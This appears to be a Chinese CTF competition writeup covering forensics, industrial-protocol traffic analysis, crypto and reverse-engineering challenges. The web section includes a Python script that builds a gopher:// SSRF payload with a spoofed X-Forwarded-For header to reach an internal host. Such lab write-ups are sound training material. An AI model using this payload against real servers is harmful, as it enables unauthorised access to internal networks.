第二届网刃杯网络安全大赛 Writeup

前言

看了去年的这个比赛，感觉难度比较适中，于是尝试今年去参加一下。成绩也不是很好感觉打CTF还是需要一定的经验，节奏和时间没安排好，导致上午出了五个题后下午就再没出题，有点小遗憾。取证题也没出…还是得多看看套神博客。

MISC

玩坏的XP *

解压后发现是虚拟磁盘文件，使用DiskGenius挂载后分析。
查看桌面有五张图片。看meiren.png就感觉有点问题，提取出来进行查看。

---

使用formost分解图片，发现能分解出压缩包和图片，图片里有两张meiren图，压缩包解压出来之后是一张not flag的图片，继续分解no flag的图片。得到一个压缩包但是需要密码，但是我这里居然没有提醒，提醒的文件上写着：密码容易忘所以放在了某个挂着项链的软件上了

---

这里没有安装过QQ所以查看是否还有其他的软件符合他的要求。

这里找到了火狐浏览器的位置，看到了几个QQ的相关信息还以为是需要我们再里面找，实际上是要我们再places.sqlit中找相关的信息，导出该数据，使用软件来查看里面的数据库数据。

下一个即可，进行查看。

直接查看相关的QQ号，查看QQ空间。

密码MD5之后的样子，在线解密即可。
得到xiaomin520，然后解压压缩包即可拿到flag。

ISC

ncsubj

跟踪协议流

拿出来base64解码后，去掉|再来一次解密即可。

carefulguy

跟踪流：7d开始

66结束

提取出来hex解码，逆序即可。

easyiec

字符串搜索，即可。

---

xypo7

直接解压文件发现需要密码，查看文件末尾有附加数据，发现是base64的形式。

提取出来不断base64解码即可拿到密码。Xyp77&7&77，然后发现奇怪的数据，直接解码base91。

喜欢移动的黑客*

pcapng流量包头部损坏，把FF FF FF FF改成 0A 0D 0A 0D即可打开。哎这个题没出实着可惜，我还一直以为pcap和pcapng是一种数据结构，当时脑抽了没有看前面的文件格式，按照pcap的格式去改发现一直不对。改完之后直接所定数据data即可。

就几个数据包，一个一个看即可。


flag{1008668156}

LED_BOOM*

这个题也是找不到具有三个相同特征的流量包，没看到开灯的操作记录。花了挺多的时间。
mouchu师傅博客上写着过滤西门子协议后按照包的大小来找会更快一些，经验比较短缺一时想不到这样来找。

查看内容包：

于是这三个包加起来就是：585692787
密文给出的是：

AES解密：

---

需要安全感*

这个是三菱的一个文件 按照我做题前的感觉是下了软件之后直接在里面就就可以找到flag 但是比赛结束了软件还没下好。套神WP证明确实是这个思路。G…

cryptolalia*

给了一张工业的污水处理过程，简单查看了一下直接分解图片。

查看污泥脱水间数据详情.zip，官方hint：直接爆破即可，数字加大写字母爆破。
得到密码：G6H7
查看里面的流量包，发现有经过对称加密算法加密的字符串。

U2FsdGVkX19pczQKWsMcjgrJt8f09dSN
官方给出的提示：鱼 is very important，那么密钥就是fish了，一个一个尝试需要密码的加密即可拿到下一个压缩包的解压密码。
解密网站：对称加密网址

---

b0Le4n$
继续解压下一个压缩包，解压出来之后发现还有一个压缩包，发现还需要密码，使用十六进制查看器查看数据。
改为00即可。

然后查看西门子的协议，跟踪流后发现有图像数据想办法提取出来。

---

参考链接：套神博客
提取方式：tshark -r .\设备药剂间数据采集.pcap -T fields -e s7comm.resp.data -Y s7comm > pic.txt

# 已经去除了前后的数据
import binascii

hexdata = ""
with open("pic.txt","r") as file:
    hexdata = file.read().split()
hexdata = "".join(hexdata)
print(hexdata[0:16])

with open("png.png","wb") as file2:
    file2.write(binascii.unhexlify(hexdata))

把这个放到图片中即可。

使用010修改高度即可。

WEB

Sign_in

签到题都ssrf了，哎~。
ssrf结合gopher打内网,进行内网探测。

***

import urllib.parse
url='http://124.222.24.150:8091/?url='
ctf=\
"""POST /?a HTTP/1.1
Host: 172.73.23.100:80
X-Forwarded-For:127.0.0.1
Referer:bolean.club
Content-Type:application/x-www-form-urlencoded
Content-Length:1
b
"""
tmp = urllib.parse.quote(ctf)
new = tmp.replace('%0A','%0D%0A')
res = '_'+new
res=urllib.parse.quote(res)
exp='gopher://172.73.23.100:80/'+res
print(exp)

RE

freestye

逆回去看一下两个函数，分别队输入的字符串使用atoc函数转化尾数字 然后与后面的值进行比对，简单的数据计算即可拿到结果。

---

---

手算第一个：3327 第二个：105 MD5后即可。

ez_algorithm

是个比较复杂的，但是是可以爆破的，每一位都和动调时的相同，这样就爆出了，算是个非预期吧。
rax中有：

Re_function

发现不能解压，但是给出了一张图片的数据估计密码就在上面。将数据写入一张图片即可。

import binascii

hexdata = ""
with open("png.txt","r") as file:
    hexdata = file.read().split()
hexdata = "".join(hexdata)
print(hexdata[0:16])

with open("png.png","wb") as file2:
    file2.write(binascii.unhexlify(hexdata))
#3CF8

有两个文件，一个是32为exe，另一个是64为的elf文件

exe文件直接看c伪代码没看懂感觉好乱看不懂，直接看汇编吧。
然后经过一整调试发现，是将我们输入的奇数位与0x37异或然后得到了一串字符。

然后看elf文件，魔改的base64算法，只换了字符串表然后解即可。
flag{we1come_t0_wrb}